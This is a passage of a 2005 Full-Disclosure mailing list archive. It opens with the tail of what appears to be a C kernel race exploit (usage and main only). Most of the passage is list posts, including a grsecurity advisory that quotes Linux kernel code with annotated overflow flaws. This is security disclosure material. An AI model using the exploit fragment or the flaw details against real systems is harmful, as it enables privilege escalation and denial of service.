		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

From kf_lists at digitalmunition.com  Fri Jan  7 15:50:14 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Fri, 07 Jan 2005 10:50:14 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
Message-ID: <41DEAFB6.3000506@digitalmunition.com>

I love how the icon for this product is a big Target. Very appropreate. 
Anyone wanna takes bets on how long it takes for someone to find a hole 
in the Spynet p2p functions of this beast, what port is that listening 
on again?
*grin*
-KF

James Patterson Wicks wrote:

> We knew that Microsoft was going to put out an anti-spyware product 
> after they bought Giant in December, but I did not figure they could 
> re-brand Giant?s software in under a month. Their first shot at 
> anti-spyware came out today ? Microsoft AntiSpyware (Beta). I 
> installed it on a test machine that I have in the office. Just to be 
> safe, I ran a full Spybot S&D scan and then uninstalled the resident 
> TEA program since Microsoft AntiSpyware will install an agent if you 
> so wish. The only part of the installation that was strange was the 
> ?recommended? option of joining the ?Spynet AntiSpyware Community? 
> their ?Spyware Neighborhood Watch? that connects you to other 
> computers running the Microsoft AntiSpyware software. Don?t know how 
> many people will choose that option, but to me it does not make sense 
> to connect to a peer-to-peer network of infected computers, encrypted 
> traffic or not.
>
> I ran a full system scan and to my surprise, the software found some 
> old Timbuktu and Dameware DLL?s that I thought were uninstalled a year 
> ago. Were the files harmful? The tool stated that the Dameware files 
> were low risk, but the Timbuktu files were high risk. The tool also 
> found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow Hyperbar 
> Toolbar? and a bunch of ?MiniBug? instances. I was somewhat surprised 
> since my machine was ?clean? already. I then set up two lab desktops 
> and applied the same clean image on both of them (no anti-virus or 
> firewall installed). I then used IE to surf to the first ten sites 
> Google brought up when searching for ?online gambling? sites. I then 
> ran full system scans using Microsoft AntiSpyware on one desktop and 
> Spybot S&D on the other machine. Spybot found 65 objects, the 
> Microsoft tool found 92 objects. The results were similar except that 
> the Microsoft tool found a few more cookies, a bunch of minibugs and 
> something called ?SearchSquire.?
>
> While this was just a quick test to satisfy my curiosity about the 
> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware 
> is worth a test deployment in the office. This beta expires in July. 
> Hopefully the final version will be free and allow for centralized 
> domain management. It?s the least that Microsoft can do.
>
> Pat Wicks
>
> Systems and Network Engineer
>



From thierry.haven at xmcopartners.com  Fri Jan  7 11:58:48 2005
From: thierry.haven at xmcopartners.com (Thierry Haven)
Date: Fri, 07 Jan 2005 12:58:48 +0100
Subject: [Full-Disclosure] Undocumented sun classes
Message-ID: <41DE7978.5040102@xmcopartners.com>

Hi list;

Sun's website states that the sun.* packages are not part of the 
supported, public interface... 
(http://java.sun.com/products/jdk/faq/faq-sun-packages.html)... However, 
i'm looking for security related information about those "undocumented" 
sun.* classes. Does anyone have an idea ?

Thanks for your time !

_______________________________________
Thierry Haven - Xmco Partners
Security Consulting / Pentest
web  : http://www.xmcopartners.com


From kf_lists at digitalmunition.com  Fri Jan  7 16:19:56 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Fri, 07 Jan 2005 11:19:56 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <41DEAFB6.3000506@digitalmunition.com>
References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
	<41DEAFB6.3000506@digitalmunition.com>
Message-ID: <41DEB6AC.5090405@digitalmunition.com>

Do a software update check with this thing and you get 
GIANTAntiSpywareMain.exe  listening on port 2571 until the software is 
closed. Feel free to beat on and fuzz that port fellas. =]
-KF

KF (lists) wrote:

> I love how the icon for this product is a big Target. Very 
> appropreate. Anyone wanna takes bets on how long it takes for someone 
> to find a hole in the Spynet p2p functions of this beast, what port is 
> that listening on again?
> *grin*
> -KF
>
> James Patterson Wicks wrote:
>
>> We knew that Microsoft was going to put out an anti-spyware product 
>> after they bought Giant in December, but I did not figure they could 
>> re-brand Giant?s software in under a month. Their first shot at 
>> anti-spyware came out today ? Microsoft AntiSpyware (Beta). I 
>> installed it on a test machine that I have in the office. Just to be 
>> safe, I ran a full Spybot S&D scan and then uninstalled the resident 
>> TEA program since Microsoft AntiSpyware will install an agent if you 
>> so wish. The only part of the installation that was strange was the 
>> ?recommended? option of joining the ?Spynet AntiSpyware Community? 
>> their ?Spyware Neighborhood Watch? that connects you to other 
>> computers running the Microsoft AntiSpyware software. Don?t know how 
>> many people will choose that option, but to me it does not make sense 
>> to connect to a peer-to-peer network of infected computers, encrypted 
>> traffic or not.
>>
>> I ran a full system scan and to my surprise, the software found some 
>> old Timbuktu and Dameware DLL?s that I thought were uninstalled a 
>> year ago. Were the files harmful? The tool stated that the Dameware 
>> files were low risk, but the Timbuktu files were high risk. The tool 
>> also found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow 
>> Hyperbar Toolbar? and a bunch of ?MiniBug? instances. I was somewhat 
>> surprised since my machine was ?clean? already. I then set up two lab 
>> desktops and applied the same clean image on both of them (no 
>> anti-virus or firewall installed). I then used IE to surf to the 
>> first ten sites Google brought up when searching for ?online 
>> gambling? sites. I then ran full system scans using Microsoft 
>> AntiSpyware on one desktop and Spybot S&D on the other machine. 
>> Spybot found 65 objects, the Microsoft tool found 92 objects. The 
>> results were similar except that the Microsoft tool found a few more 
>> cookies, a bunch of minibugs and something called ?SearchSquire.?
>>
>> While this was just a quick test to satisfy my curiosity about the 
>> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware 
>> is worth a test deployment in the office. This beta expires in July. 
>> Hopefully the final version will be free and allow for centralized 
>> domain management. It?s the least that Microsoft can do.
>>
>> Pat Wicks
>>
>> Systems and Network Engineer
>>
>
>



From shadown at gmail.com  Fri Jan  7 16:30:21 2005
From: shadown at gmail.com (shadown)
Date: Fri, 7 Jan 2005 13:30:21 -0300
Subject: [Full-Disclosure] ndisasm bad opcodes interpretation
Message-ID: <d8360fbf0501070830475ef080@mail.gmail.com>

Hi,

not a vulnerability but could be a headache while reverse ingineering
or binary auditing/interpreting, etc. (ok anything related with
disassembling)
get wrong values.

shadown at twister:/tmp$ ndisasm -b32 salida
00000000 49 dec ecx
00000001 6E outsb
00000002 7465 jz 0x69
00000004 6C insb
00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si
0000000A 6C insb
0000000B 207072 and [eax+0x72],dh
0000000E 6F outsd
0000000F 7065 jo 0x76
00000011 7274 jc 0x87
00000013 7920 jns 0x35
00000015 6F outsd
00000016 66204968 o16 and [ecx+0x68],cl
0000001A 61 popa
0000001B 51 push ecx
0000001C 7565 jnz 0x83
0000001E 52 push edx
0000001F 00 db 0x00
shadown at twister:/tmp$ ndisasm -V
NDISASM version 0.98.38 compiled Jan 7 2005
shadown at twister:/tmp$

i.e:
0000001C 7565 jnz 0x83
sould had been jnz 0x65

I've just tested ndisasm 0.98.36 and 0.98.38

cheers.
shadown
-- 
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown at gmail.com

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.


From synackrst at gmail.com  Fri Jan  7 17:27:29 2005
From: synackrst at gmail.com (synackrst)
Date: Fri, 7 Jan 2005 11:27:29 -0600
Subject: [Full-Disclosure] Press Release Survivor Location Assistance Project
Message-ID: <714b796305010709276beba0b8@mail.gmail.com>

FOR IMMEDIATE RELEASE
CONTACT:
North America:
B.K. DeLong
Media Liaison
The Hacker Foundation
telephone: +1.617.797.2472
Christian Wright
Media Liaison
Packetstorm Security
telephone: +1.312.399.5064
Europe:
Emerson Tan
Director
Packetstorm Security
telephone: +44.781.456.8265
e-mail: press at survivorlocationassistance.org
THE HACKER FOUNDATION RELEASES SURVIVOR LOCATION ASSISTANCE PROJECT
Organization distributes software as open-source and centralizes
tracking of disaster victims.
http://www.survivorlocationassistance.org -- 6 January 2005 -- The
Hacker Foundation (THF) is pleased to
announce the creation of the Survivor Location Assistance (SLA)
project, a globally accessible web-based
database system designed to help survivors, relatives, internally
displaced people, and aid agencies connect
with one another and to facilitate & coordinate the need to track all
victims of disasters around the world.
SLA's first application is now live and awaiting new entries - South
Asian Tsunami - Survivor Location
Assistance (SAT-SLA). The system is running on hardware donated by
Packetstorm Security and on
network connectivity provided by Asylum Networks Inc.
The SLA project encourages the myriad of web sites and organizations
currently maintaining lists of
survivors, Internally Displaced People & the missing to contribute
their dataset to the SAT-SLA database.
Hospitals, aid agencies, & NGOs are also encouraged to share their
registration information to ensure
relatives of survivors are notified in a fast & timely manner that
their loved ones are safe & alive.
"The SLA project is why The Hacker Foundation was created," said THF
President and Co-founder Jesse
Krembs. "to bring useful technological resources to people in need.
Our staff of volunteers has done an
amazing job putting together a tool in such a short amount of time
that can not only be used in this crisis,
but hopefully for any humanitarian need."
On the SLA Web site, users can add a new entry with identifying
information about a person, or search the
database to see if their relative has been located. By the end of 1Q
2005, THF and the SLA project hope to
publicly release the source code for the system and begin fostering a
development community around the
open source solution. Those interested in making use of software more
immediately can email the project at
support at survivorlocationassistance.org . The SLA web site is located at
http://www.survivorlocationassistance.org .
"THF is releasing the SLA backend to anyone who requests it & opening
our survivor data to the public,"
said Emerson Tan, Director of Packetstorm Security. "As more of the
world gets connected via the Internet,
we believe the SLA project has global potential to be used in tracking
IDPs, thwarting the child slavetrading
of orphans from such disasters, and assisting aid agencies & NGOs
responding to humanitarian
efforts similar to those in the Darfur region of Sudan."
The SLA project is also seeking translation assistance for its web
site, database and other resources to
ensure global access and usability.
"The world has many different languages," said THF's Krembs. "and
disasters do not discriminate. We
hope, with volunteer help, to be able to offer our information in
Thai, Sinhala and other native tongues of
those effected by the tsunami."
About The Hacker Foundation
The Hacker Foundation (THF) is a non-profit organization dedicated to
establishing and maintaining a
research & service organization to promote & explore the creative use
of technological resources. Visit the
Hacker Foundation web site at http://www.hackerfoundation.org.
About Packetstorm Security
Packetstorm Security is the world's largest free repository of
Internet security information. It is staffed entirely by volunteers
throughout the world and mirrored in many locations. Web site at
http://www.packetstormsecurity.org.
About Asylum Networks
Asylum Networks provides Internet colocation services to customers
with extremely demanding security
requirements. The company operates in five countries (Switzerland,
Luxembourg, Cayman Islands,
Denmark, and the United States) each chosen to address either
financial privacy concerns or provide
excellent connectivity. Asylum Networks' portfolio includes
international banks, financial institutions, and
security-conscious corporations. Please visit them at
http://www.asylum-networks.net.


From danbuk at gmail.com  Fri Jan  7 19:40:55 2005
From: danbuk at gmail.com (DanBUK)
Date: Fri, 07 Jan 2005 19:40:55 +0000
Subject: [Full-Disclosure] Novell WebAcces
In-Reply-To: <1105090924024691@lycos-europe.com>
Message-ID: <TfLdA3Ty.1105126855.9391350.dan@digibox.daemonbox.de>

Hi,
> It seems that this is working on almost every webacces server

Just did a quick google and tried that on a couple of sites but no link
appeared. Does this require authentication??

Cheers,
DanB UK.

DanB UK
London, UK.



From spender at grsecurity.net  Fri Jan  7 17:20:49 2005
From: spender at grsecurity.net (Brad Spengler)
Date: Fri, 7 Jan 2005 12:20:49 -0500
Subject: [Full-Disclosure] [grsec] grsecurity 2.1.0 release / 5 Linux kernel
	advisories
Message-ID: <20050107172049.GA17849@grsecurity.net>

grsecurity 2.1.0 release / Linux Kernel advisories
--------------------------------------------------------------------

Table Of Contents:
1) grsecurity 2.1.0 announcement and changelog
2) Linux Kernel advisory introduction
3) 2.4/2.6 random poolsize sysctl handler integer overflow
4) 2.6 scsi ioctl integer overflow and information leak
5) 2.2/2.4/2.6 moxa serial driver bss overflow
6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS
7) Attachments, including patches for all vulns, a POC for #3, and a
   working exploit for #6

1) grsecurity 2.1.0 announcement and changelog

I'm happy to announce the release of grsecurity 2.1.0.  It is being
released initially for the 2.4.28 and 2.6.10 kernels and will be ported
immediately to the next kernel versions when released.  It can be
downloaded at http://www.grsecurity.net.  We are still actively seeking
sponsorship, so if you benefit from using grsecurity and like the
changes you see in 2.1.0, please consider sponsoring the future
development and maintenance of the project.
Changes in this release include:

* New configuration file for full learning: /etc/grsec/learn_config
* Learning heuristics have been optimized to better detect temporary
  file usage and reduce appropriately.
* Learning heuristics have been modified to weight against reducing
  certain additional important directories.
* User/group ID transitions have been added to the learning system.
  Any subject transitioning to less than 3 different users or 3
  different groups that has CAP_SETUID or CAP_SETGID will have ID
  transitions added.  This is useful to automatically secure
  applications that only transition to one or few users/groups like
  nobody/nogroup.
* /proc/<pid>/* accesses are automatically rewritten as /proc by grlearn
  before being cached and written to disk
* The inherit-based learning usable through the learning configuration
  file is usable through a regular policy as well simply by adding "i"
  instead of "l" to a subject for learning.
* Inheritance is preserved whenever possible across uid/gid changes when
  the role resulting from the uid/gid change is no different from that
  before the change.
* A complete ~95-99% efficient LFU-hash hybrid caching system has been
  added that greatly reduces the number of full object lookups by
  caching the result.  The cache essentially mimics the filesystem
  around where applications are operating: nearly equivalent to having
  an object for every file and directory on the system, but without the
  wasted memory.  The cache is invalidated on creates and deletes that
  cause a change in policy (through policy re-creation) and on renames
  of directories or symlinks.
* Memory usage for non-full learning has been significantly reduced and
  all memory leaks have been plugged.
* A new object mode has been added for hardlinks for more fine-grained
  permissions.  See the sample policy file for information on what
  permissions are required to create a hardlink.  Its corresponding
  audit flag has been added as well.
* Destruction of unused shared memory feature added and included in
  the sysctl framework of grsecurity.  This feature was ported from
  Openwall (http://www.openwall.com/linux).
* A new option was added to the sysctl feature that enables at boot all
  features enabled in the kernel configuration, while allowing them to
  be changed via the sysctl interface until grsec_lock is set.
* Policy statistics have been added to gradm that provide useful,
  security-relevant information on the policy you are loading into the
  kernel.  You can view these statistics when enabling the system by
  running gradm -V -E.
* Interactive performance of full-learning has improved by ~15% by
  reducing the number of context switches caused by grlearn doing small
  disk writes by using a write buffer (writing more once instead of
  less 1000 times) and keeping track of log entry lengths for quicker
  string matching.  A signal handler was added to grlearn so that when
  learning is stopped, the write buffer is flushed to disk.
* Kernel headers are no longer used for gradm
* Updates from the PaX project (http://pax.grsecurity.net)
* Bugfixes for things mentioned on the list, etc

When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they
contain several vulnerabilities, make sure to also apply the secfix
patches located on the website.

2) Linux Kernel advisory introduction

Let me begin by giving you a timeline:

December 15th: I send Linus a mail with a subject line of
"RLIMIT_MEMLOCK bypass with locked stack"
December 27th: The PaX team sends Linus a mail with a subject line of
"2.6.9+ mlockall/expand_down DoS by unprivileged users"
January 2nd: The PaX team resends the previous mail to Linux and Andrew
Morton

Between December 15th and today, Linus has committed many changes to
the kernel.  Between January 2nd and today, Andrew Morton has committed
several changes to the kernel.  3 weeks is a sufficient amount of time
to be able to expect even a reply about a given vulnerability.  A patch
for the vulnerability was attached to the mails, and in the PaX team's
mails, a working exploit as well.  Private notification of
vulnerabilities is a privilege, and when that privilege is abused by not
responding promptly, it deserves to be revoked.

Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* |
grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter
of 15 minutes.  More vulnerabilities were found in 2.6 than in 2.4.
It's a pretty sad state of affairs for Linux security when someone can
find 4 exploitable vulnerabilities in a matter of minutes.  Since there
was no point in sending more vulnerability reports when the first hadn't
even been responded to, I'm including all four of them in this mail, as
well as a POC for the poolsize bug.  The other bugs can have POCs 
written
for just as trivially.  The poolsize bug requires uid 0, but not any
root capabilities.  The scsi and serial bugs depend on the permissions
of their respective devices, and thus can possibly be exploited as
non-root.  The scsi bug in particular has a couple different attack
vectors that I haven't even bothered to investigate.  Some of these bugs
have gone unfixed for several years.

The PaX team discovered the mlockall DoS. It has been fixed in PaX for
2 years.  I have attached their mail and exploit code.

I'd really like to know what's being done about this pitiful trend of
Linux security, where it's 10x as easy to find a vulnerability in the
kernel than it is in any app on the system, where isec releases at
least one critical vulnerability for each kernel version.  I don't see
that the 2.6 development model is doing anything to help this (as the
spectrum of these vulnerabilities demonstrate), by throwing
experimental code into the kernel and claiming it to be "stable".
Hopefully now these vulnerabilities will be fixed in a timely manner.

3) 2.4/2.6 random poolsize sysctl handler integer overflow

In drivers/char/random.c:

at poolsize_strategy():
>        int     len;
        ^ signed integer
>
>        sysctl_poolsize = random_state->poolinfo.POOLBYTES;
>
>        /*
>
>        /*
>         * We only handle the write case, since the read case gets
>         * handled by the default handler (and we don't care if the
>         * write case happens twice; it's harmless).
>         */
>        if (newval && newlen) {
>                len = newlen;
                ^ unsigned int converted to signed
>                if (len > table->maxlen)
                ^ comparison of two signed integers
>                        len = table->maxlen;
>                if (copy_from_user(table->data, newval, len))
                ^ copy_from_user with len possibly > table->maxlen

4) 2.6 scsi ioctl integer overflow and information leak

In drivers/block/scsi_ioctl.c:

at sg_scsi_ioctl():
>        struct request *rq;
>        int err, in_len, out_len, bytes, opcode, cmdlen;
        ^ in_len, out_len are signed int
>        char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE];
>
>        /*
>         * get in an out lengths, verify they don't exceed a page worth of data
>         */
>        if (get_user(in_len, &sic->inlen))
        ^ in_len is user-controlled
>                return -EFAULT;
>        if (get_user(out_len, &sic->outlen))
        ^ out_len is user-controlled
>                return -EFAULT;
>        if (in_len > PAGE_SIZE || out_len > PAGE_SIZE)
        ^ signed int only has upper bound checked
>                return -EINVAL;
>        if (get_user(opcode, sic->data))
>                return -EFAULT;
>        bytes = max(in_len, out_len);
...
>        rq->cmd_len = cmdlen;
>        if (copy_from_user(rq->cmd, sic->data, cmdlen))
>                goto error;
>         
>        if (copy_from_user(buffer, sic->data + cmdlen, in_len))
                ^ copy_from_user with size possibly > PAGE_SIZE
>                goto error;
...
>                if (copy_to_user(sic->data, buffer, out_len))
                ^ copy_to_user with size possibly > PAGE_SIZE
>                        err = -EFAULT;

5) 2.2/2.4/2.6 moxa serial driver bss overflow

In drivers/char/moxa.c:

>static unsigned char moxaBuff[10240];

In MoxaDriverIoctl():

>        if(copy_from_user(&dltmp, argp, sizeof(struct dl_str)))
>                return -EFAULT;
                ^ dltmp.len is user-controlled
>        if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS)
>                return -EINVAL;
>                
>        switch(cmd)
>        {
>        case MOXA_LOAD_BIOS:
>                i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking
>                return (i);
>        case MOXA_FIND_BOARD:
>                return moxafindcard(dltmp.cardno);
>        case MOXA_LOAD_C320B:
>                moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking
>        default: /* to keep gcc happy */
>                return (0);
>        case MOXA_LOAD_CODE:
>                i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking

In moxaloadbios():

>static int moxaloadbios(int cardno, unsigned char __user *tmp, int len)
>{
>        void __iomem *baseAddr;
>        int i;
>
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with no length checking
>                return -EFAULT;

In moxaloadcode():

> static int moxaloadcode(int cardno, unsigned char __user *tmp, int len)
> {
>        void __iomem *baseAddr, *ofsAddr;
>        int retval, port, i;
>
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with no length checking
>                return -EFAULT;

In moxaload320b():

>static int moxaload320b(int cardno, unsigned char __user *tmp, int len)
>{
>        void __iomem *baseAddr;
>        int i;
>
>        if(len > sizeof(moxaBuff))
                ^ signed int has only upper-bound checked
>                return -EINVAL;
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with len possibly > sizeof(moxaBuff)
>                return -EFAULT;

6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS

Taken from the mail from the PaX team to Linus and Andrew Morton:

the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege
to call mlockall have changed in 2.6.9. namely, the former has been
reduced to 32 pages while the latter has been relaxed to allow it for
otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the
currently allocated vm. which is normally good enough, except as you
now know there's a path that can increase the allocated vm without
checking for RLIM_MEMLOCK.

i'm attaching a small i386-specific demonstration, use the makefile to
create the small self-contained executable, e.g., 'make alloc=0x100000'
to have it allocate 1MB of stack and lock all of it. for demonstrating
the full effect of locking down arbitrary amounts of memory, you'll have
to set your stack rlimit to infinity (ulimit -s unlimited) and allocate
as much memory as your memory overcommit policy allows (this may mean
that you'll have to run multiple instances, if you have lots of memory).

surprisingly, in my tests the kernel survived pretty well, it just crawled
to a snail's speed as every mapped page access required disk i/o ;-). i
didn't play with overcommit policies nor any special workloads, so there
may very well be worse effects with that much locked memory. in any case,
this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone
reading the logs can easily figure it out and reproduce the 'exploit'.

the attached patch is the excerpt from PaX that survives the exploit, so
i think it's good to go.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: exploits_and_patches.tgz
Type: application/x-gtar
Size: 1957 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/5a4abb12/attachment.gtar 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/5a4abb12/attachment.bin 
-------------- next part --------------
_______________________________________________
grsecurity mailing list
grsecurity at grsecurity.net
http://grsecurity.net/cgi-bin/mailman/listinfo/grsecurity

From spender at grsecurity.net  Fri Jan  7 18:18:53 2005
From: spender at grsecurity.net (Brad Spengler)
Date: Fri, 7 Jan 2005 13:18:53 -0500
Subject: [Full-Disclosure] grsecurity 2.1.0 release / 5 Linux kernel
	advisories
Message-ID: <20050107181853.GA12617@grsecurity.net>

Let's try this again, since web archives don't like multipart 
attachments.

grsecurity 2.1.0 release / Linux Kernel advisories
--------------------------------------------------------------------

Table Of Contents:
1) grsecurity 2.1.0 announcement and changelog
2) Linux Kernel advisory introduction
3) 2.4/2.6 random poolsize sysctl handler integer overflow
4) 2.6 scsi ioctl integer overflow and information leak
5) 2.2/2.4/2.6 moxa serial driver bss overflow
6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS
7) Attachments, including patches for all vulns, a POC for #3, and a
   working exploit for #6

1) grsecurity 2.1.0 announcement and changelog

I'm happy to announce the release of grsecurity 2.1.0.  It is being
released initially for the 2.4.28 and 2.6.10 kernels and will be ported
immediately to the next kernel versions when released.  It can be
downloaded at http://www.grsecurity.net.  We are still actively seeking
sponsorship, so if you benefit from using grsecurity and like the
changes you see in 2.1.0, please consider sponsoring the future
development and maintenance of the project.
Changes in this release include:

* New configuration file for full learning: /etc/grsec/learn_config
* Learning heuristics have been optimized to better detect temporary
  file usage and reduce appropriately.
* Learning heuristics have been modified to weight against reducing
  certain additional important directories.
* User/group ID transitions have been added to the learning system.
  Any subject transitioning to less than 3 different users or 3
  different groups that has CAP_SETUID or CAP_SETGID will have ID
  transitions added.  This is useful to automatically secure
  applications that only transition to one or few users/groups like
  nobody/nogroup.
* /proc/<pid>/* accesses are automatically rewritten as /proc by grlearn
  before being cached and written to disk
* The inherit-based learning usable through the learning configuration
  file is usable through a regular policy as well simply by adding "i"
  instead of "l" to a subject for learning.
* Inheritance is preserved whenever possible across uid/gid changes when
  the role resulting from the uid/gid change is no different from that
  before the change.
* A complete ~95-99% efficient LFU-hash hybrid caching system has been
  added that greatly reduces the number of full object lookups by
  caching the result.  The cache essentially mimics the filesystem
  around where applications are operating: nearly equivalent to having
  an object for every file and directory on the system, but without the
  wasted memory.  The cache is invalidated on creates and deletes that
  cause a change in policy (through policy re-creation) and on renames
  of directories or symlinks.
* Memory usage for non-full learning has been significantly reduced and
  all memory leaks have been plugged.
* A new object mode has been added for hardlinks for more fine-grained
  permissions.  See the sample policy file for information on what
  permissions are required to create a hardlink.  Its corresponding
  audit flag has been added as well.
* Destruction of unused shared memory feature added and included in
  the sysctl framework of grsecurity.  This feature was ported from
  Openwall (http://www.openwall.com/linux).
* A new option was added to the sysctl feature that enables at boot all
  features enabled in the kernel configuration, while allowing them to
  be changed via the sysctl interface until grsec_lock is set.
* Policy statistics have been added to gradm that provide useful,
  security-relevant information on the policy you are loading into the
  kernel.  You can view these statistics when enabling the system by
  running gradm -V -E.
* Interactive performance of full-learning has improved by ~15% by
  reducing the number of context switches caused by grlearn doing small
  disk writes by using a write buffer (writing more once instead of
  less 1000 times) and keeping track of log entry lengths for quicker
  string matching.  A signal handler was added to grlearn so that when
  learning is stopped, the write buffer is flushed to disk.
* Kernel headers are no longer used for gradm
* Updates from the PaX project (http://pax.grsecurity.net)
* Bugfixes for things mentioned on the list, etc

When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they
contain several vulnerabilities, make sure to also apply the secfix
patches located on the website.

2) Linux Kernel advisory introduction

Let me begin by giving you a timeline:

December 15th: I send Linus a mail with a subject line of
"RLIMIT_MEMLOCK bypass with locked stack"
December 27th: The PaX team sends Linus a mail with a subject line of
"2.6.9+ mlockall/expand_down DoS by unprivileged users"
January 2nd: The PaX team resends the previous mail to Linux and Andrew
Morton

Between December 15th and today, Linus has committed many changes to
the kernel.  Between January 2nd and today, Andrew Morton has committed
several changes to the kernel.  3 weeks is a sufficient amount of time
to be able to expect even a reply about a given vulnerability.  A patch
for the vulnerability was attached to the mails, and in the PaX team's
mails, a working exploit as well.  Private notification of
vulnerabilities is a privilege, and when that privilege is abused by not
responding promptly, it deserves to be revoked.

Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* |
grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter
of 15 minutes.  More vulnerabilities were found in 2.6 than in 2.4.
It's a pretty sad state of affairs for Linux security when someone can
find 4 exploitable vulnerabilities in a matter of minutes.  Since there
was no point in sending more vulnerability reports when the first hadn't
even been responded to, I'm including all four of them in this mail, as
well as a POC for the poolsize bug.  The other bugs can have POCs 
written
for just as trivially.  The poolsize bug requires uid 0, but not any
root capabilities.  The scsi and serial bugs depend on the permissions
of their respective devices, and thus can possibly be exploited as
non-root.  The scsi bug in particular has a couple different attack
vectors that I haven't even bothered to investigate.  Some of these bugs
have gone unfixed for several years.

The PaX team discovered the mlockall DoS. It has been fixed in PaX for
2 years.  I have attached their mail and exploit code.

I'd really like to know what's being done about this pitiful trend of
Linux security, where it's 10x as easy to find a vulnerability in the
kernel than it is in any app on the system, where isec releases at
least one critical vulnerability for each kernel version.  I don't see
that the 2.6 development model is doing anything to help this (as the
spectrum of these vulnerabilities demonstrate), by throwing
experimental code into the kernel and claiming it to be "stable".
Hopefully now these vulnerabilities will be fixed in a timely manner.

3) 2.4/2.6 random poolsize sysctl handler integer overflow

In drivers/char/random.c:

at poolsize_strategy():
>        int     len;
        ^ signed integer
>
>        sysctl_poolsize = random_state->poolinfo.POOLBYTES;
>
>        /*
>
>        /*
>         * We only handle the write case, since the read case gets
>         * handled by the default handler (and we don't care if the
>         * write case happens twice; it's harmless).
>         */
>        if (newval && newlen) {
>                len = newlen;
                ^ unsigned int converted to signed
>                if (len > table->maxlen)
                ^ comparison of two signed integers
>                        len = table->maxlen;
>                if (copy_from_user(table->data, newval, len))
                ^ copy_from_user with len possibly > table->maxlen

4) 2.6 scsi ioctl integer overflow and information leak

In drivers/block/scsi_ioctl.c:

at sg_scsi_ioctl():
>        struct request *rq;
>        int err, in_len, out_len, bytes, opcode, cmdlen;
        ^ in_len, out_len are signed int
>        char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE];
>
>        /*
>         * get in an out lengths, verify they don't exceed a page worth of data
>         */
>        if (get_user(in_len, &sic->inlen))
        ^ in_len is user-controlled
>                return -EFAULT;
>        if (get_user(out_len, &sic->outlen))
        ^ out_len is user-controlled
>                return -EFAULT;
>        if (in_len > PAGE_SIZE || out_len > PAGE_SIZE)
        ^ signed int only has upper bound checked
>                return -EINVAL;
>        if (get_user(opcode, sic->data))
>                return -EFAULT;
>        bytes = max(in_len, out_len);
...
>        rq->cmd_len = cmdlen;
>        if (copy_from_user(rq->cmd, sic->data, cmdlen))
>                goto error;
>         
>        if (copy_from_user(buffer, sic->data + cmdlen, in_len))
